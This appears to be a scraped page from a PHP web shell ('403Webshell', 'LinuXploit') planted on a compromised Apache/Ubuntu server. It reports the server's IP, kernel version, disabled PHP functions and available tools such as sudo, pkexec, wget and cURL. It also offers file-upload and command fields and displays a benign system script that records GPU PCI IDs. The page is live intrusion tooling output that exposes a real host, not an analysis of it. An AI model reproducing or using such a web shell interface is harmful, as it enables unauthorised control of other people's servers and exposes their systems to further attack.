403Webshell
Server IP : 209.205.66.10  /  Your IP : 216.73.216.218
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux ammon 5.15.0-186-generic #196-Ubuntu SMP Sat Jun 20 16:09:34 UTC 2026 x86_64
User :  ( 1006)
PHP Version : 8.5.8
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /sbin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /sbin/u-d-c-print-pci-ids
#!/bin/sh

PCI_ID="${ID_PATH##pci-}"

# We only care about nvidia and fglrx here
if [ -d "/sys/bus/pci/drivers/nvidia/$PCI_ID/" ]; then
    DEVICE="$(cat /sys/bus/pci/drivers/nvidia/$PCI_ID/device)"
    VENDOR="$(cat /sys/bus/pci/drivers/nvidia/$PCI_ID/vendor)"
elif [ -d "/sys/bus/pci/drivers/fglrx/$PCI_ID/" ]; then
    DEVICE="$(cat /sys/bus/pci/drivers/fglrx_pci/$PCI_ID/device)"
    VENDOR="$(cat /sys/bus/pci/drivers/fglrx_pci/$PCI_ID/vendor)"
else
    exit 0
fi

touch "/run/u-d-c-gpu-$PCI_ID-$VENDOR-$DEVICE"

Youez - 2016 - github.com/yon3zu
LinuXploit